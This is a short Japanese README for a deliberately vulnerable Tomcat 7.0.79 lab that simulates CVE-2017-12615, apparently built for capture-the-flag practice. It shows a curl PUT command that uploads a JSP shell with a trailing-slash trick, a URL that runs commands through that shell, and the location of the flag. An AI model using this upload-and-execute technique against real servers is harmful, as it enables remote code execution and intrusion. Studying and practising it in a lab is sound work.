English Version — CVE-2017-12615 Tomcat: JSPアップロードによるリモートコード実行

このラボは CVE-2017-12615 Tomcat: JSPアップロードによるリモートコード実行 をシミュレートしています。Apache Tomcat の DefaultServlet が次のように誤って設定されています。

readonly=false

これにより、攻撃者は HTTP PUT を介して .jsp ファイルをアップロードし、リモートコード実行が可能になります。

機能

• 脆弱な Apache Tomcat 7.0.79
• readonly=false で DefaultServlet をオーバーライド
• PUTアップロード → ROOT Webディレクトリに任意の .jsp ファイルを書き込み
• JSPシェルによるコマンド実行をサポート
• 微妙な内部ヒントを含むインダストリアルスタイルのランディングページ
• コンテナ起動時に自動生成される flag_RANDOM.txt
• CTF、研究、エクスプロイト開発に最適

エクスプロイト例

JSPシェルをアップロード

curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

コマンドを実行

http://localhost:8080/shell.jsp?cmd=id

フラグの場所

/tmp/flag_RANDOM.txt

免責事項

教育、研究、および許可された侵入テストのみを目的としています。